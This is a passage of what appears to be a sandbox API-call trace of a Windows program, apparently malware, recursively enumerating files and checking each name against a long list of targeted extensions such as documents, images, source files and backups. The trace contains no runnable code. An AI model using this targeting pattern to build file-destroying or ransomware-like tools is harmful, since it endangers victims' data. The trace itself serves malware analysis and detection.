lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.574] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.574] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.577] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0270.579] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.582] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.582] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0270.958] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0270.958] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0270.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.958] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0270.960] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0270.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0270.962] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0271.141] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0271.141] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0271.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0271.266] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0271.266] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0271.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0271.267] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0271.315] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0271.315] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0271.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0271.381] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0271.381] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0271.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0271.381] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0271.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0271.386] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0271.434] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.434] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0271.435] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.435] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0271.435] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0271.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0271.437] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0271.437] FindClose (in: hFindFile=0x380bf60 | out: hFindFile=0x380bf60) returned 1 [0271.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0271.437] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0271.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0271.438] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0271.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0271.439] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0271.439] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0271.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0271.441] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0271.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.514] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0271.514] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0271.514] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0271.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0271.520] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0271.520] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0271.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0271.520] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0271.559] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0271.559] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0271.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0271.559] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0271.593] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0271.593] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0271.593] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0271.593] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0271.611] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0271.611] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0271.612] FindClose (in: hFindFile=0x380c0a0 | out: hFindFile=0x380c0a0) returned 1 [0271.612] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0271.612] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0271.613] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0271.613] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0271.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0271.616] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0271.616] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.616] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0271.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0271.619] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0271.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.621] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0271.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.622] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0271.627] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.627] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0271.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.646] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0271.666] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0271.666] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0271.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0272.238] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0272.260] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0272.260] lstrlenW (lpString=".1cd") returned 4 [0272.260] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0272.260] lstrlenW (lpString=".3ds") returned 4 [0272.260] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0272.260] lstrlenW (lpString=".3fr") returned 4 [0272.260] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0272.260] lstrlenW (lpString=".3g2") returned 4 [0272.260] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0272.260] lstrlenW (lpString=".3gp") returned 4 [0272.260] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0272.260] lstrlenW (lpString=".7z") returned 3 [0272.260] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0272.260] lstrlenW (lpString=".accda") returned 6 [0272.260] lstrcmpiW (lpString1=".accda", lpString2="TL.DLL") returned -1 [0272.260] lstrlenW (lpString=".accdb") returned 6 [0272.261] lstrcmpiW (lpString1=".accdb", lpString2="TL.DLL") returned -1 [0272.261] lstrlenW (lpString=".accdc") returned 6 [0272.261] lstrcmpiW (lpString1=".accdc", lpString2="TL.DLL") returned -1 [0272.261] lstrlenW (lpString=".accde") returned 6 [0272.261] lstrcmpiW (lpString1=".accde", lpString2="TL.DLL") returned -1 [0272.261] lstrlenW (lpString=".accdt") returned 6 [0272.261] lstrcmpiW (lpString1=".accdt", lpString2="TL.DLL") returned -1 [0272.261] lstrlenW (lpString=".accdw") returned 6 [0272.261] lstrcmpiW (lpString1=".accdw", lpString2="TL.DLL") returned -1 [0272.261] lstrlenW (lpString=".adb") returned 4 [0272.261] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0272.261] lstrlenW (lpString=".adp") returned 4 [0272.261] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0272.261] lstrlenW (lpString=".ai") returned 3 [0272.261] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0272.261] lstrlenW (lpString=".ai3") returned 4 [0272.261] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0272.261] lstrlenW (lpString=".ai4") returned 4 [0272.261] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0272.261] lstrlenW (lpString=".ai5") returned 4 [0272.261] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0272.261] lstrlenW (lpString=".ai6") returned 4 [0272.261] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0272.261] lstrlenW (lpString=".ai7") returned 4 [0272.261] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0272.262] lstrlenW (lpString=".ai8") returned 4 [0272.262] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0272.262] lstrlenW (lpString=".anim") returned 5 [0272.262] lstrcmpiW (lpString1=".anim", lpString2="L.DLL") returned -1 [0272.262] lstrlenW (lpString=".arw") returned 4 [0272.262] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0272.262] lstrlenW (lpString=".as") returned 3 [0272.262] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0272.262] lstrlenW (lpString=".asa") returned 4 [0272.262] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0272.262] lstrlenW (lpString=".asc") returned 4 [0272.262] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0272.262] lstrlenW (lpString=".ascx") returned 5 [0272.262] lstrcmpiW (lpString1=".ascx", lpString2="L.DLL") returned -1 [0272.262] lstrlenW (lpString=".asm") returned 4 [0272.262] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0272.262] lstrlenW (lpString=".asmx") returned 5 [0272.262] lstrcmpiW (lpString1=".asmx", lpString2="L.DLL") returned -1 [0272.262] lstrlenW (lpString=".asp") returned 4 [0272.262] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0272.262] lstrlenW (lpString=".aspx") returned 5 [0272.262] lstrcmpiW (lpString1=".aspx", lpString2="L.DLL") returned -1 [0272.262] lstrlenW (lpString=".asr") returned 4 [0272.262] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0272.262] lstrlenW (lpString=".asx") returned 4 [0272.263] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".avi") returned 4 [0272.263] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".avs") returned 4 [0272.263] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".backup") returned 7 [0272.263] lstrcmpiW (lpString1=".backup", lpString2="NTL.DLL") returned -1 [0272.263] lstrlenW (lpString=".bak") returned 4 [0272.263] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".bay") returned 4 [0272.263] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".bd") returned 3 [0272.263] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0272.263] lstrlenW (lpString=".bin") returned 4 [0272.263] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".bmp") returned 4 [0272.263] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".bz2") returned 4 [0272.263] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".c") returned 2 [0272.263] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0272.263] lstrlenW (lpString=".cdr") returned 4 [0272.263] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0272.263] lstrlenW (lpString=".cer") returned 4 [0272.263] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".cf") returned 3 [0272.264] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0272.264] lstrlenW (lpString=".cfc") returned 4 [0272.264] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".cfm") returned 4 [0272.264] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".cfml") returned 5 [0272.264] lstrcmpiW (lpString1=".cfml", lpString2="L.DLL") returned -1 [0272.264] lstrlenW (lpString=".cfu") returned 4 [0272.264] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".chm") returned 4 [0272.264] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".cin") returned 4 [0272.264] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".class") returned 6 [0272.264] lstrcmpiW (lpString1=".class", lpString2="TL.DLL") returned -1 [0272.264] lstrlenW (lpString=".clx") returned 4 [0272.264] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".config") returned 7 [0272.264] lstrcmpiW (lpString1=".config", lpString2="NTL.DLL") returned -1 [0272.264] lstrlenW (lpString=".cpp") returned 4 [0272.264] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".cr2") returned 4 [0272.264] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0272.264] lstrlenW (lpString=".crt") returned 4 [0272.265] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".crw") returned 4 [0272.265] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".cs") returned 3 [0272.265] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0272.265] lstrlenW (lpString=".css") returned 4 [0272.265] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".csv") returned 4 [0272.265] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".cub") returned 4 [0272.265] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".dae") returned 4 [0272.265] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".dat") returned 4 [0272.265] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".db") returned 3 [0272.265] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0272.265] lstrlenW (lpString=".dbf") returned 4 [0272.265] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".dbx") returned 4 [0272.265] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".dc3") returned 4 [0272.265] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".dcm") returned 4 [0272.265] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0272.265] lstrlenW (lpString=".dcr") returned 4 [0272.265] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0272.266] lstrlenW (lpString=".der") returned 4 [0272.266] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0272.266] lstrlenW (lpString=".dib") returned 4 [0272.266] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0272.266] lstrlenW (lpString=".dic") returned 4 [0272.266] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0272.266] lstrlenW (lpString=".dif") returned 4 [0272.266] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0272.266] lstrlenW (lpString=".divx") returned 5 [0272.266] lstrcmpiW (lpString1=".divx", lpString2="L.DLL") returned -1 [0272.266] lstrlenW (lpString=".djvu") returned 5 [0272.266] lstrcmpiW (lpString1=".djvu", lpString2="L.DLL") returned -1 [0272.266] lstrlenW (lpString=".dng") returned 4 [0272.266] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0272.266] lstrlenW (lpString=".doc") returned 4 [0272.266] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0272.266] lstrlenW (lpString=".docm") returned 5 [0272.266] lstrcmpiW (lpString1=".docm", lpString2="L.DLL") returned -1 [0272.266] lstrlenW (lpString=".docx") returned 5 [0272.266] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0272.266] lstrlenW (lpString=".dot") returned 4 [0272.266] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0272.266] lstrlenW (lpString=".dotm") returned 5 [0272.266] lstrcmpiW (lpString1=".dotm", lpString2="L.DLL") returned -1 [0272.266] lstrlenW (lpString=".dotx") returned 5 [0272.266] lstrcmpiW (lpString1=".dotx", lpString2="L.DLL") returned -1 [0272.266] lstrlenW (lpString=".dpx") returned 4 [0272.266] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0272.266] lstrlenW (lpString=".dqy") returned 4 [0272.266] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0272.266] lstrlenW (lpString=".dsn") returned 4 [0272.266] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0272.266] lstrlenW (lpString=".dt") returned 3 [0272.267] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0272.267] lstrlenW (lpString=".dtd") returned 4 [0272.267] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".dwg") returned 4 [0272.267] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".dwt") returned 4 [0272.267] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".dx") returned 3 [0272.267] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0272.267] lstrlenW (lpString=".dxf") returned 4 [0272.267] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".edml") returned 5 [0272.267] lstrcmpiW (lpString1=".edml", lpString2="L.DLL") returned -1 [0272.267] lstrlenW (lpString=".efd") returned 4 [0272.267] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".elf") returned 4 [0272.267] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".emf") returned 4 [0272.267] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".emz") returned 4 [0272.267] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".epf") returned 4 [0272.267] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".eps") returned 4 [0272.267] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".epsf") returned 5 [0272.267] lstrcmpiW (lpString1=".epsf", lpString2="L.DLL") returned -1 [0272.267] lstrlenW (lpString=".epsp") returned 5 [0272.267] lstrcmpiW (lpString1=".epsp", lpString2="L.DLL") returned -1 [0272.267] lstrlenW (lpString=".erf") returned 4 [0272.267] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0272.267] lstrlenW (lpString=".exr") returned 4 [0272.268] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".f4v") returned 4 [0272.268] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".fido") returned 5 [0272.268] lstrcmpiW (lpString1=".fido", lpString2="L.DLL") returned -1 [0272.268] lstrlenW (lpString=".flm") returned 4 [0272.268] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".flv") returned 4 [0272.268] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".frm") returned 4 [0272.268] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".fxg") returned 4 [0272.268] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".geo") returned 4 [0272.268] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".gif") returned 4 [0272.268] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".grs") returned 4 [0272.268] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0272.268] lstrlenW (lpString=".gz") returned 3 [0272.268] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0272.268] lstrlenW (lpString=".h") returned 2 [0272.268] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0272.268] lstrlenW (lpString=".hdr") returned 4 [0272.270] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0272.270] lstrlenW (lpString=".hpp") returned 4 [0272.270] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0272.270] lstrlenW (lpString=".hta") returned 4 [0272.270] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0272.270] lstrlenW (lpString=".htc") returned 4 [0272.270] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0272.270] lstrlenW (lpString=".htm") returned 4 [0272.270] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0272.270] lstrlenW (lpString=".html") returned 5 [0272.270] lstrcmpiW (lpString1=".html", lpString2="L.DLL") returned -1 [0272.270] lstrlenW (lpString=".icb") returned 4 [0272.270] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0272.270] lstrlenW (lpString=".ics") returned 4 [0272.270] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0272.270] lstrlenW (lpString=".iff") returned 4 [0272.270] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0272.271] lstrlenW (lpString=".inc") returned 4 [0272.271] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0272.271] lstrlenW (lpString=".indd") returned 5 [0272.271] lstrcmpiW (lpString1=".indd", lpString2="L.DLL") returned -1 [0272.271] lstrlenW (lpString=".ini") returned 4 [0272.271] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0272.271] lstrlenW (lpString=".iqy") returned 4 [0272.271] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0272.271] lstrlenW (lpString=".j2c") returned 4 [0272.271] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0272.271] lstrlenW (lpString=".j2k") returned 4 [0272.271] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0272.271] lstrlenW (lpString=".java") returned 5 [0272.271] lstrcmpiW (lpString1=".java", lpString2="L.DLL") returned -1 [0272.271] lstrlenW (lpString=".jp2") returned 4 [0272.271] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".jpc") returned 4 [0272.272] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".jpe") returned 4 [0272.272] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".jpeg") returned 5 [0272.272] lstrcmpiW (lpString1=".jpeg", lpString2="L.DLL") returned -1 [0272.272] 